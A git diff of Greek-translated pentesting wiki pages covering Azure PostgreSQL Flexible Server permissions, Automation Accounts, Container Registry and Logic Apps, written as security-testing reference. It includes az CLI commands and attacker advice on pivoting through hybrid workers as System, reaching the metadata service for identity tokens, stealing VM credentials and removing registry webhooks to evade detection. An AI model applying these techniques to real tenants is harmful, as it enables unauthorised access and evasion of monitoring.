Για περισσότερες πληροφορίες, ελέγξτε αυτή την τεχνική που εξηγείται στην ενότητα εκμετάλλευσης προνομίων:
{{#ref}}
../az-privilege-escalation/az-postgresql-privesc.md
{{#endref}}
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
Με αυτή την άδεια, μπορείτε να δημιουργήσετε νέες βάσεις δεδομένων μέσα σε μια εγκατάσταση Postgres Flexible Server στο Azure. Ενώ αυτή η ενέργεια από μόνη της δεν τροποποιεί υπάρχοντες πόρους, η υπερβολική ή μη εξουσιοδοτημένη δημιουργία βάσεων δεδομένων θα μπορούσε να οδηγήσει σε κατανάλωση πόρων ή πιθανή κακή χρήση του διακομιστή.
Με αυτή την άδεια, μπορείτε να δημιουργήσετε νέες βάσεις δεδομένων μέσα σε μια παρουσία Postgres Flexible Server στο Azure. Ενώ αυτή η ενέργεια από μόνη της δεν τροποποιεί υπάρχοντες πόρους, η υπερβολική ή μη εξουσιοδοτημένη δημιουργία βάσεων δεδομένων θα μπορούσε να οδηγήσει σε κατανάλωση πόρων ή πιθανή κακή χρήση του διακομιστή.
```bash
az postgres flexible-server db create \
--server-name <server_name> \
--resource-group <resource_group_name> \
--database-name <database_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
Με αυτή την άδεια, μπορείτε να ξεκινήσετε τη δημιουργία αντιγράφων ασφαλείας για μια Postgres Flexible Server instance στο Azure. Αυτό επιτρέπει στους χρήστες να δημιουργούν αντίγραφα ασφαλείας κατόπιν αιτήματος, τα οποία μπορεί να είναι χρήσιμα για τη διατήρηση δεδομένων σε συγκεκριμένες χρονικές στιγμές.
```bash
az postgres flexible-server backup create \
--name <server_name> \
--resource-group <resource_group_name>
--backup-name <backup_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
Με αυτή την άδεια, μπορείτε να ρυθμίσετε ή να ενημερώσετε τις ρυθμίσεις Advanced Threat Protection (ATP) για μια Postgres Flexible Server instance στο Azure. Αυτό επιτρέπει την ενεργοποίηση ή την απενεργοποίηση χαρακτηριστικών ασφαλείας που έχουν σχεδιαστεί για να ανιχνεύουν και να ανταποκρίνονται σε ανώμαλες δραστηριότητες και πιθανούς κινδύνους.
Με αυτή την άδεια, μπορείτε να ρυθμίσετε ή να ενημερώσετε τις ρυθμίσεις Προηγμένης Προστασίας από Απειλές (ATP) για μια περίπτωση Postgres Flexible Server στο Azure. Αυτό επιτρέπει την ενεργοποίηση ή την απενεργοποίηση χαρακτηριστικών ασφαλείας που έχουν σχεδιαστεί για να ανιχνεύουν και να ανταποκρίνονται σε ανώμαλες δραστηριότητες και πιθανές απειλές.
```bash
az postgres flexible-server threat-protection-policy update \
--name <server_name> \
@@ -58,7 +59,7 @@ az postgres flexible-server firewall-rule update \
```
### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read`
Με αυτή την άδεια, μπορείτε να ενημερώσετε τις ρυθμίσεις διαμόρφωσης μιας παρουσίας Postgres Flexible Server στο Azure. Αυτό επιτρέπει την προσαρμογή παραμέτρων του διακομιστή όπως η βελτιστοποίηση απόδοσης, οι ρυθμίσεις ασφαλείας ή οι λειτουργικές ρυθμίσεις.
Με αυτή την άδεια, μπορείτε να ενημερώσετε τις ρυθμίσεις διαμόρφωσης μιας παρουσίας Postgres Flexible Server στο Azure. Αυτό επιτρέπει την προσαρμογή παραμέτρων του διακομιστή, όπως η βελτιστοποίηση απόδοσης, οι ρυθμίσεις ασφαλείας ή οι λειτουργικές ρυθμίσεις.
```bash
az postgres flexible-server parameter set \
--resource-group <resource_group_name> \

View File

@@ -4,7 +4,7 @@
## Basic Information
Οι Λογαριασμοί Αυτοματοποίησης Azure είναι υπηρεσίες cloud της Microsoft Azure που βοηθούν στην **αυτοματοποίηση εργασιών** όπως η διαχείριση πόρων, η διαμόρφωση και οι ενημερώσεις σε περιβάλλοντα Azure και τοπικά. Παρέχουν **Runbooks** (σενάρια για αυτοματοποίηση που εκτελούνται), **προγράμματα** και **ομάδες υβριδικών εργαζομένων** για την εκτέλεση αυτοματοποιημένων **εργασιών**, επιτρέποντας την υποδομή ως κώδικα (IaC) και την αυτοματοποίηση διαδικασιών για βελτιωμένη αποδοτικότητα και συνέπεια στη διαχείριση πόρων cloud.
Οι Azure Automation Accounts είναι υπηρεσίες cloud της Microsoft Azure που βοηθούν στην **αυτοματοποίηση εργασιών** όπως η διαχείριση πόρων, η διαμόρφωση και οι ενημερώσεις σε περιβάλλοντα Azure και τοπικά. Παρέχουν **Runbooks** (σενάρια για αυτοματοποίηση που εκτελούνται), **προγράμματα** και **ομάδες υβριδικών εργαζομένων** για την εκτέλεση αυτοματοποιημένων **εργασιών**, επιτρέποντας την υποδομή ως κώδικα (IaC) και την αυτοματοποίηση διαδικασιών για βελτιωμένη αποδοτικότητα και συνέπεια στη διαχείριση πόρων cloud.
### Settings
@@ -16,7 +16,7 @@
### Runbooks & Jobs
Ένα Runbook στην Αυτοματοποίηση Azure είναι ένα **σενάριο που εκτελεί εργασίες αυτόματα** μέσα στο περιβάλλον cloud σας. Τα Runbooks μπορούν να γραφούν σε PowerShell, Python ή Γραφικά εργαλεία. Βοηθούν στην αυτοματοποίηση διοικητικών εργασιών όπως η διαχείριση VM, η εφαρμογή ενημερώσεων ή οι έλεγχοι συμμόρφωσης.
Ένα Runbook στην Azure Automation είναι ένα **σενάριο που εκτελεί εργασίες αυτόματα** μέσα στο περιβάλλον cloud σας. Τα Runbooks μπορούν να γραφούν σε PowerShell, Python ή γραφικούς επεξεργαστές. Βοηθούν στην αυτοματοποίηση διοικητικών εργασιών όπως η διαχείριση VM, η εφαρμογή ενημερώσεων ή οι έλεγχοι συμμόρφωσης.
Στον **κώδικα** που βρίσκεται μέσα στα **Runbooks** μπορεί να περιέχονται **ευαίσθητες πληροφορίες** (όπως κωδικοί).
@@ -30,25 +30,25 @@
### Schedules & Webhooks
Υπάρχουν 3 κύριοι τρόποι εκτέλεσης ενός Runbook:
Υπάρχουν 3 κύριοι τρόποι για να εκτελέσετε ένα Runbook:
- **Schedules**: Αυτά χρησιμοποιούνται για να **ενεργοποιούν** Runbooks σε μια **συγκεκριμένη ώρα** ή **διάστημα**.
- **Schedules**: Αυτά χρησιμοποιούνται για να **ενεργοποιούν** Runbooks σε **συγκεκριμένο χρόνο** ή **διάστημα**.
- **Webhooks**: Αυτά είναι **HTTP endpoints** που μπορούν να χρησιμοποιηθούν για να **ενεργοποιούν** Runbooks από **εξωτερικές υπηρεσίες**. Σημειώστε ότι το URL του webhook **δεν είναι ορατό** μετά τη δημιουργία.
- **Manual Trigger**: Μπορείτε να **ενεργοποιήσετε χειροκίνητα** ένα Runbook από το Azure Portal και από το cli.
### Source Control
Επιτρέπει την εισαγωγή Runbooks από **Github, Azure Devops (Git) και Azure Devops (TFVC)**. Είναι δυνατή η ένδειξη για τη δημοσίευση των Runbooks του repo στον λογαριασμό αυτοματοποίησης Azure και είναι επίσης δυνατή η ένδειξη για να **συγχρονίσετε τις αλλαγές από το repo** στον λογαριασμό αυτοματοποίησης Azure.
Επιτρέπει την εισαγωγή Runbooks από **Github, Azure Devops (Git) και Azure Devops (TFVC)**. Είναι δυνατή η ένδειξη για να δημοσιευτούν τα Runbooks του repo στον λογαριασμό Azure Automation και είναι επίσης δυνατή η ένδειξη για να **συγχρονιστούν οι αλλαγές από το repo** στον λογαριασμό Azure Automation.
Όταν η συγχρονισμός είναι ενεργοποιημένος, στο **αποθετήριο Github δημιουργείται ένα webhook** για να ενεργοποιεί τη συγχρονισμό κάθε φορά που συμβαίνει ένα γεγονός push. Παράδειγμα URL webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Σημειώστε ότι αυτά τα webhooks **δεν θα είναι ορατά** κατά την καταχώριση webhooks στα συσχετιζόμενα runbooks με το repo Github. Επίσης, σημειώστε ότι **δεν είναι δυνατή η αλλαγή του URL του repo** ενός source control μόλις δημιουργηθεί.
Σημειώστε ότι αυτά τα webhooks **δεν θα είναι ορατά** όταν καταχωρείτε webhooks στα συσχετιζόμενα runbooks με το repo Github. Επίσης, σημειώστε ότι **δεν είναι δυνατή η αλλαγή του URL του repo** ενός source control μόλις δημιουργηθεί.
Για να λειτουργήσει η ρυθμισμένη πηγή ελέγχου, ο **Λογαριασμός Αυτοματοποίησης Azure** πρέπει να έχει μια διαχειριζόμενη ταυτότητα (σύστημα ή χρήστη) με τον ρόλο **`Contributor`**. Επιπλέον, για να ανατεθεί μια διαχειριζόμενη ταυτότητα χρήστη στον Λογαριασμό Αυτοματοποίησης, είναι απαραίτητο να δηλωθεί το ID πελάτη της διαχειριζόμενης ταυτότητας χρήστη στη μεταβλητή **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
Για να λειτουργήσει το ρυθμισμένο source control, ο **Azure Automation Account** πρέπει να έχει μια διαχειριζόμενη ταυτότητα (σύστημα ή χρήστη) με τον ρόλο **`Contributor`**. Επιπλέον, για να ανατεθεί μια διαχειριζόμενη ταυτότητα χρήστη στον λογαριασμό Automation, είναι απαραίτητο να δηλωθεί το client ID της διαχειριζόμενης ταυτότητας χρήστη στη μεταβλητή **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
### Runtime Environments
Κατά τη δημιουργία ενός Runbook είναι δυνατή η επιλογή του περιβάλλοντος εκτέλεσης. Από προεπιλογή, τα παρακάτω περιβάλλοντα εκτέλεσης είναι διαθέσιμα:
Κατά τη δημιουργία ενός Runbook είναι δυνατή η επιλογή του περιβάλλοντος εκτέλεσης. Από προεπιλογή, τα εξής περιβάλλοντα εκτέλεσης είναι διαθέσιμα:
- **Powershell 5.1**
- **Powershell 7.1**
@@ -61,28 +61,28 @@
### Hybrid Worker Groups
Στην Αυτοματοποίηση Azure, το προεπιλεγμένο περιβάλλον εκτέλεσης για τα runbooks είναι το **Azure Sandbox**, μια πλατφόρμα cloud που διαχειρίζεται η Azure, κατάλληλη για εργασίες που περιλαμβάνουν πόρους Azure. Ωστόσο, αυτό το sandbox έχει περιορισμούς, όπως περιορισμένη πρόσβαση σε τοπικούς πόρους και περιορισμούς στον χρόνο εκτέλεσης και τη χρήση πόρων. Για να ξεπεραστούν αυτοί οι περιορισμοί, χρησιμοποιούνται οι Υβριδικές Ομάδες Εργαζομένων. Μια Υβριδική Ομάδα Εργαζομένων αποτελείται από **ένα ή περισσότερους Υβριδικούς Εργαζόμενους Runbook εγκατεστημένους στους δικούς σας υπολογιστές**, είτε τοπικά, σε άλλα περιβάλλοντα cloud ή σε VM Azure. Αυτή η ρύθμιση επιτρέπει στα runbooks να εκτελούνται απευθείας σε αυτούς τους υπολογιστές, παρέχοντας άμεση πρόσβαση σε τοπικούς πόρους, τη δυνατότητα εκτέλεσης μεγαλύτερων και πιο απαιτητικών εργασιών, και την ευελιξία να αλληλεπιδρούν με περιβάλλοντα πέρα από την άμεση εμβέλεια της Azure.
Στην Azure Automation, το προεπιλεγμένο περιβάλλον εκτέλεσης για τα runbooks είναι το **Azure Sandbox**, μια πλατφόρμα cloud που διαχειρίζεται η Azure, κατάλληλη για εργασίες που περιλαμβάνουν πόρους Azure. Ωστόσο, αυτό το sandbox έχει περιορισμούς, όπως περιορισμένη πρόσβαση σε τοπικούς πόρους και περιορισμούς στον χρόνο εκτέλεσης και τη χρήση πόρων. Για να ξεπεραστούν αυτοί οι περιορισμοί, χρησιμοποιούνται οι Υβριδικές Ομάδες Εργαζομένων. Μια Υβριδική Ομάδα Εργαζομένων αποτελείται από **ένα ή περισσότερους Υβριδικούς Εργαζόμενους Runbook εγκατεστημένους στους δικούς σας υπολογιστές**, είτε τοπικά, σε άλλα περιβάλλοντα cloud ή σε Azure VMs. Αυτή η ρύθμιση επιτρέπει στα runbooks να εκτελούνται απευθείας σε αυτούς τους υπολογιστές, παρέχοντας άμεση πρόσβαση σε τοπικούς πόρους, τη δυνατότητα εκτέλεσης μεγαλύτερων και πιο απαιτητικών εργασιών, και την ευελιξία να αλληλεπιδρούν με περιβάλλοντα πέρα από την άμεση εμβέλεια της Azure.
Όταν δημιουργείται μια υβριδική ομάδα εργαζομένων, είναι απαραίτητο να δηλωθούν τα **credentials** που θα χρησιμοποιηθούν. Υπάρχουν 2 επιλογές:
- **Default credentials**: Δεν χρειάζεται να παρέχετε τα credentials και τα runbooks θα εκτελούνται μέσα στα VM ως **System**.
- **Specific credentials**: Πρέπει να παρέχετε το όνομα του αντικειμένου credentials μέσα στον λογαριασμό αυτοματοποίησης, το οποίο θα χρησιμοποιηθεί για την εκτέλεση των **runbooks μέσα στα VM**. Επομένως, σε αυτή την περίπτωση, θα μπορούσε να είναι δυνατό να **κλέψετε έγκυρα credentials** για τα VM.
- **Default credentials**: Δεν χρειάζεται να παρέχετε τα credentials και τα runbooks θα εκτελούνται μέσα στα VMs ως **System**.
- **Specific credentials**: Πρέπει να παρέχετε το όνομα του αντικειμένου credentials μέσα στον λογαριασμό αυτοματοποίησης, το οποίο θα χρησιμοποιηθεί για την εκτέλεση των **runbooks μέσα στα VMs**. Επομένως, σε αυτή την περίπτωση, θα μπορούσε να είναι δυνατό να **κλέψετε έγκυρα credentials** για τα VMs.
Επομένως, εάν μπορείτε να επιλέξετε να εκτελέσετε ένα **Runbook** σε έναν **Υβριδικό Εργαζόμενο**, θα εκτελέσετε **τυχαίες εντολές** μέσα σε έναν εξωτερικό υπολογιστή ως **System** (καλή τεχνική pivot).
Επιπλέον, εάν ο υβριδικός εργαζόμενος εκτελείται στην Azure με άλλες Διαχειριζόμενες Ταυτότητες συνδεδεμένες, το runbook θα μπορεί να έχει πρόσβαση στη **διαχειριζόμενη ταυτότητα του runbook και σε όλες τις διαχειριζόμενες ταυτότητες του VM από την υπηρεσία μεταδεδομένων**.
Επιπλέον, εάν ο υβριδικός εργαζόμενος εκτελείται στην Azure με άλλες διαχειριζόμενες ταυτότητες συνδεδεμένες, το runbook θα μπορεί να έχει πρόσβαση στη **διαχειριζόμενη ταυτότητα του runbook και σε όλες τις διαχειριζόμενες ταυτότητες του VM από την υπηρεσία μεταδεδομένων**.
> [!TIP]
> Θυμηθείτε ότι η **υπηρεσία μεταδεδομένων** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από όπου λαμβάνετε το token διαχειριζόμενης ταυτότητας του λογαριασμού αυτοματοποίησης (**`IDENTITY_ENDPOINT`**).
> Θυμηθείτε ότι η **υπηρεσία μεταδεδομένων** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από όπου αποκτάτε το token διαχειριζόμενης ταυτότητας του λογαριασμού αυτοματοποίησης (**`IDENTITY_ENDPOINT`**).
### State Configuration (SC)
> [!WARNING]
> Όπως αναφέρεται στα [έγγραφα](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), η Ρύθμιση Κατάστασης Αυτοματοποίησης Azure θα αποσυρθεί στις 30 Σεπτεμβρίου 2027 και θα αντικατασταθεί από [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
> Όπως αναφέρεται στα [έγγραφα](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), η Azure Automation State Configuration θα αποσυρθεί στις 30 Σεπτεμβρίου 2027 και θα αντικατασταθεί από [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Οι Λογαριασμοί Αυτοματοποίησης υποστηρίζουν επίσης **Ρύθμιση Κατάστασης (SC)**, η οποία είναι μια δυνατότητα που βοηθά στη **ρύθμιση** και **διατήρηση** της **κατάστασης** των VM σας. Είναι δυνατή η **δημιουργία** και **εφαρμογή** ρυθμίσεων DSC σε **Windows** και **Linux** μηχανές.
Οι Automation Accounts υποστηρίζουν επίσης **State Configuration (SC)**, η οποία είναι μια δυνατότητα που βοηθά στη **διαμόρφωση** και **διατήρηση** της **κατάστασης** των VMs σας. Είναι δυνατή η **δημιουργία** και **εφαρμογή** DSC διαμορφώσεων σε **Windows** και **Linux** μηχανές.
Από την οπτική γωνία των επιτιθέμενων, αυτό ήταν ενδιαφέρον γιατί επέτρεπε την **εκτέλεση τυχαίου κώδικα PS σε όλα τα ρυθμισμένα VM**, επιτρέποντας την κλιμάκωση προνομίων στις διαχειριζόμενες ταυτότητες αυτών των VM, πιθανώς μεταπηδώντας σε νέα δίκτυα... Επίσης, οι ρυθμίσεις θα μπορούσαν να περιέχουν **ευαίσθητες πληροφορίες**.
Από την οπτική γωνία των επιτιθέμενων, αυτό ήταν ενδιαφέρον γιατί επέτρεπε την **εκτέλεση τυχαίου κώδικα PS σε όλα τα ρυθμισμένα VMs**, επιτρέποντας την κλιμάκωση προνομίων στις διαχειριζόμενες ταυτότητες αυτών των VMs, πιθανώς μεταπηδώντας σε νέα δίκτυα... Επίσης, οι διαμορφώσεις θα μπορούσαν να περιέχουν **ευαίσθητες πληροφορίες**.
## Enumeration
```bash
@@ -226,12 +226,18 @@ Get-AzAutomationAccount | Get-AzAutomationPython3Package
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
## Ανύψωση Δικαιωμάτων & Μετά την Εκμετάλλευση
## Ανάβαση Προνομίων & Μετά την Εκμετάλλευση
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## Επιμονή
{{#ref}}
../az-persistence/az-automation-accounts-persistence.md
{{#endref}}
## Αναφορές
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)

View File

@@ -4,7 +4,7 @@
## Basic Information
Azure Container Registry (ACR) είναι ένα ασφαλές, ιδιωτικό μητρώο που σας επιτρέπει να **αποθηκεύετε, διαχειρίζεστε και έχετε πρόσβαση σε εικόνες κοντέινερ στο Azure cloud**. Ενσωματώνεται απρόσκοπτα με πολλές υπηρεσίες Azure, παρέχοντας αυτοματοποιημένες ροές εργασίας κατασκευής και ανάπτυξης σε κλίμακα. Με δυνατότητες όπως η γεωγραφική αναπαραγωγή και η σάρωση ευπαθειών, το ACR βοηθά στην εξασφάλιση ασφάλειας και συμμόρφωσης επιπέδου επιχείρησης για εφαρμογές κοντέινερ.
Το Azure Container Registry (ACR) είναι ένα ασφαλές, ιδιωτικό μητρώο που σας επιτρέπει να **αποθηκεύετε, διαχειρίζεστε και έχετε πρόσβαση σε εικόνες κοντέινερ στο Azure cloud**. Ενσωματώνεται απρόσκοπτα με πολλές υπηρεσίες Azure, παρέχοντας αυτοματοποιημένες ροές εργασίας κατασκευής και ανάπτυξης σε κλίμακα. Με δυνατότητες όπως η γεωγραφική αναπαραγωγή και η σάρωση ευπαθειών, το ACR βοηθά στην εξασφάλιση ασφάλειας επιπέδου επιχείρησης και συμμόρφωσης για εφαρμογές κοντέινερ.
### Permissions
@@ -29,10 +29,10 @@ Azure Container Registry (ACR) είναι ένα ασφαλές, ιδιωτικ
Υπάρχουν 4 τρόποι για να αυθεντικοποιηθείτε σε ένα ACR:
- **Με Entra ID**: Αυτός είναι ο **προεπιλεγμένος** τρόπος αυθεντικοποίησης σε ένα ACR. Χρησιμοποιεί την εντολή **`az acr login`** για να αυθεντικοποιηθεί στο ACR. Αυτή η εντολή θα **αποθηκεύσει τα διαπιστευτήρια** στο αρχείο **`~/.docker/config.json`**. Επιπλέον, αν εκτελείτε αυτή την εντολή από ένα περιβάλλον χωρίς πρόσβαση σε docker socket όπως σε ένα **cloud shell**, είναι δυνατή η χρήση της σημαίας **`--expose-token`** για να αποκτήσετε το **token** για να αυθεντικοποιηθείτε στο ACR. Στη συνέχεια, για να αυθεντικοποιηθείτε, πρέπει να χρησιμοποιήσετε ως όνομα χρήστη `00000000-0000-0000-0000-000000000000` όπως: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Με έναν λογαριασμό διαχειριστή**: Ο διαχειριστής χρήστη είναι απενεργοποιημένος από προεπιλογή, αλλά μπορεί να ενεργοποιηθεί και στη συνέχεια θα είναι δυνατή η πρόσβαση στο μητρώο με το **όνομα χρήστη** και τον **κωδικό πρόσβασης** του λογαριασμού διαχειριστή με πλήρεις άδειες στο μητρώο. Αυτό υποστηρίζεται ακόμα γιατί ορισμένες υπηρεσίες Azure το χρησιμοποιούν. Σημειώστε ότι **2 κωδικοί πρόσβασης** δημιουργούνται για αυτόν τον χρήστη και οι δύο είναι έγκυροι. Μπορείτε να το ενεργοποιήσετε με `az acr update -n <acrName> --admin-enabled true`. Σημειώστε ότι το όνομα χρήστη είναι συνήθως το όνομα του μητρώου (και όχι `admin`).
- **Με ένα token**: Είναι δυνατή η δημιουργία ενός **token** με έναν **συγκεκριμένο `scope map`** (άδειες) για πρόσβαση στο μητρώο. Στη συνέχεια, είναι δυνατή η χρήση αυτού του ονόματος token ως όνομα χρήστη και κάποιου από τους παραγόμενους κωδικούς πρόσβασης για να αυθεντικοποιηθείτε στο μητρώο με `docker login -u <registry-name> -p <password> aregistry-url>`
- **Με έναν Service Principal**: Είναι δυνατή η δημιουργία ενός **service principal** και η ανάθεση ενός ρόλου όπως **`AcrPull`** για να κάνετε pull εικόνες. Στη συνέχεια, θα είναι δυνατή η **σύνδεση στο μητρώο** χρησιμοποιώντας το appId του SP ως όνομα χρήστη και ένα παραγόμενο μυστικό ως κωδικό πρόσβασης.
- **Με Entra ID**: Αυτή είναι η **προεπιλεγμένη** μέθοδος αυθεντικοποίησης σε ένα ACR. Χρησιμοποιεί την εντολή **`az acr login`** για να αυθεντικοποιηθεί στο ACR. Αυτή η εντολή θα **αποθηκεύσει τα διαπιστευτήρια** στο αρχείο **`~/.docker/config.json`**. Επιπλέον, αν εκτελείτε αυτή την εντολή από ένα περιβάλλον χωρίς πρόσβαση σε docker socket όπως σε ένα **cloud shell**, είναι δυνατή η χρήση της σημαίας **`--expose-token`** για να αποκτήσετε το **token** για να αυθεντικοποιηθείτε στο ACR. Στη συνέχεια, για να αυθεντικοποιηθείτε πρέπει να χρησιμοποιήσετε ως όνομα χρήστη `00000000-0000-0000-0000-000000000000` όπως: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Με έναν λογαριασμό διαχειριστή**: Ο διαχειριστής χρήστη είναι απενεργοποιημένος από προεπιλογή αλλά μπορεί να ενεργοποιηθεί και στη συνέχεια θα είναι δυνατή η πρόσβαση στο μητρώο με το **όνομα χρήστη** και τον **κωδικό πρόσβασης** του λογαριασμού διαχειριστή με πλήρεις άδειες στο μητρώο. Αυτό υποστηρίζεται ακόμα γιατί ορισμένες υπηρεσίες Azure το χρησιμοποιούν. Σημειώστε ότι **2 κωδικοί πρόσβασης** δημιουργούνται για αυτόν τον χρήστη και οι δύο είναι έγκυροι. Μπορείτε να το ενεργοποιήσετε με `az acr update -n <acrName> --admin-enabled true`. Σημειώστε ότι το όνομα χρήστη είναι συνήθως το όνομα του μητρώου (και όχι `admin`).
- **Με ένα token**: Είναι δυνατή η δημιουργία ενός **token** με έναν **συγκεκριμένο `scope map`** (άδειες) για πρόσβαση στο μητρώο. Στη συνέχεια, είναι δυνατή η χρήση του ονόματος του token ως όνομα χρήστη και οποιουδήποτε από τους παραγόμενους κωδικούς πρόσβασης για να αυθεντικοποιηθείτε στο μητρώο με `docker login -u <registry-name> -p <password> <registry-url>`
- **Με έναν Service Principal**: Είναι δυνατή η δημιουργία ενός **service principal** και η ανάθεση ενός ρόλου όπως **`AcrPull`** για να κάνετε pull εικόνες. Στη συνέχεια, θα είναι δυνατή η **σύνδεση στο μητρώο** χρησιμοποιώντας το appId του SP ως όνομα χρήστη και έναν παραγόμενο μυστικό ως κωδικό πρόσβασης.
Παράδειγμα script από τα [έγγραφα](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) για τη δημιουργία ενός SP με πρόσβαση σε ένα μητρώο:
```bash
@@ -51,7 +51,7 @@ echo "Service principal password: $PASSWORD"
```
### Κρυπτογράφηση
Μόνο το **Premium SKU** υποστηρίζει **κρυπτογράφηση σε κατάσταση αδράνειας** για τις εικόνες και άλλα αντικείμενα.
Μόνο το **Premium SKU** υποστηρίζει **κρυπτογράφηση σε κατάσταση ανάπαυσης** για τις εικόνες και άλλα αρχεία.
### Δικτύωση
@@ -67,7 +67,7 @@ echo "Service principal password: $PASSWORD"
### Webhooks
Είναι δυνατόν να **δημιουργήσετε webhooks** μέσα σε μητρώα. Σε αυτό το webhook είναι απαραίτητο να καθορίσετε τη διεύθυνση URL όπου θα αποσταλεί ένα **αίτημα κάθε φορά που εκτελείται μια ενέργεια push ή delete**. Επιπλέον, τα Webhooks μπορούν να υποδείξουν ένα πεδίο για να υποδείξουν τα αποθετήρια (εικόνες) που θα επηρεαστούν. Για παράδειγμα, 'foo:\*' σημαίνει γεγονότα κάτω από το αποθετήριο 'foo'.
Είναι δυνατή η **δημιουργία webhooks** μέσα σε μητρώα. Σε αυτό το webhook είναι απαραίτητο να καθορίσετε τη διεύθυνση URL όπου θα σταλεί ένα **αίτημα κάθε φορά που εκτελείται μια ενέργεια push ή delete**. Επιπλέον, τα Webhooks μπορούν να υποδείξουν μια εμβέλεια για να υποδείξουν τα αποθετήρια (εικόνες) που θα επηρεαστούν. Για παράδειγμα, 'foo:\*' σημαίνει γεγονότα κάτω από το αποθετήριο 'foo'.
Από την οπτική γωνία ενός επιτιθέμενου, είναι ενδιαφέρον να ελέγξετε αυτό **πριν εκτελέσετε οποιαδήποτε ενέργεια** στο μητρώο και να το αφαιρέσετε προσωρινά αν χρειαστεί, για να αποφευχθεί η ανίχνευση.
@@ -75,7 +75,7 @@ echo "Service principal password: $PASSWORD"
Αυτό επιτρέπει βασικά να **αντιγράφετε τις εικόνες** από ένα μητρώο σε ένα άλλο, συνήθως τοποθετημένο τοπικά.
Έχει 2 λειτουργίες: **ReadOnly** και **ReadWrite**. Στην πρώτη, οι εικόνες **τραβιούνται** μόνο από το μητρώο προέλευσης, και στη δεύτερη, οι εικόνες μπορούν επίσης να **ωθηθούν** στο μητρώο προέλευσης.
Έχει 2 λειτουργίες: **ReadOnly** και **ReadWrite**. Στην πρώτη, οι εικόνες **τραβιούνται** μόνο από το πηγαίο μητρώο, και στη δεύτερη, οι εικόνες μπορούν επίσης να **ωθηθούν** στο πηγαίο μητρώο.
Για να έχουν οι πελάτες πρόσβαση στο μητρώο από την Azure, δημιουργείται ένα **token** όταν χρησιμοποιείται το συνδεδεμένο μητρώο.
@@ -143,10 +143,16 @@ az acr cache list --registry <registry-name>
# Get cache details
az acr cache show --name <cache-name> --registry <registry-name>
```
## Ανάβαση Δικαιωμάτων & Μετά την Εκμετάλλευση
## Μη Αυθεντικοποιημένη Πρόσβαση
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
{{#endref}}
## Κλιμάκωση Δικαιωμάτων & Μετά την Εκμετάλλευση
{{#ref}}
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## Αναφορές

View File

@@ -4,99 +4,175 @@
## Basic Information
Azure Logic Apps είναι μια υπηρεσία cloud που παρέχεται από το Microsoft Azure και επιτρέπει στους προγραμματιστές να **δημιουργούν και να εκτελούν ροές εργασίας που ενσωματώνουν διάφορες υπηρεσίες**, πηγές δεδομένων και εφαρμογές. Αυτές οι ροές εργασίας έχουν σχεδιαστεί για να **αυτοματοποιούν επιχειρηματικές διαδικασίες**, να οργανώνουν εργασίες και να εκτελούν ενσωματώσεις δεδομένων σε διάφορες πλατφόρμες.
Azure Logic Apps επιτρέπει στους προγραμματιστές να **δημιουργούν και να εκτελούν ροές εργασίας που ενσωματώνουν διάφορες υπηρεσίες**, πηγές δεδομένων και εφαρμογές. Αυτές οι ροές εργασίας έχουν σχεδιαστεί για να **αυτοματοποιούν επιχειρηματικές διαδικασίες**, να οργανώνουν εργασίες και να εκτελούν ενσωματώσεις δεδομένων σε διάφορες πλατφόρμες.
Logic Apps παρέχει έναν οπτικό σχεδιαστή για τη δημιουργία ροών εργασίας με **ευρύ φάσμα προ-κατασκευασμένων συνδέσμων**, που διευκολύνει τη σύνδεση και την αλληλεπίδραση με διάφορες υπηρεσίες, όπως το Office 365, το Dynamics CRM, το Salesforce και πολλές άλλες. Μπορείτε επίσης να δημιουργήσετε προσαρμοσμένους συνδέσμους για τις συγκεκριμένες ανάγκες σας.
Logic Apps παρέχει έναν **οπτικό σχεδιαστή** για τη δημιουργία ροών εργασίας με μια **ευρεία γκάμα προ-κατασκευασμένων συνδέσμων**, που διευκολύνει τη σύνδεση και την αλληλεπίδραση με διάφορες υπηρεσίες:
Κατά τη δημιουργία μιας Logic App, πρέπει είτε να δημιουργήσετε είτε να συνδέσετε έναν εξωτερικό λογαριασμό αποθήκευσης που αποθηκεύει την κατάσταση της ροής εργασίας, το ιστορικό εκτέλεσης και τα αντικείμενα. Αυτή η αποθήκευση μπορεί να ρυθμιστεί με διαγνωστικές ρυθμίσεις για παρακολούθηση και μπορεί να ασφαλιστεί με περιορισμούς πρόσβασης δικτύου ή να ενσωματωθεί σε ένα εικονικό δίκτυο για τον έλεγχο της εισερχόμενης και εξερχόμενης κίνησης.
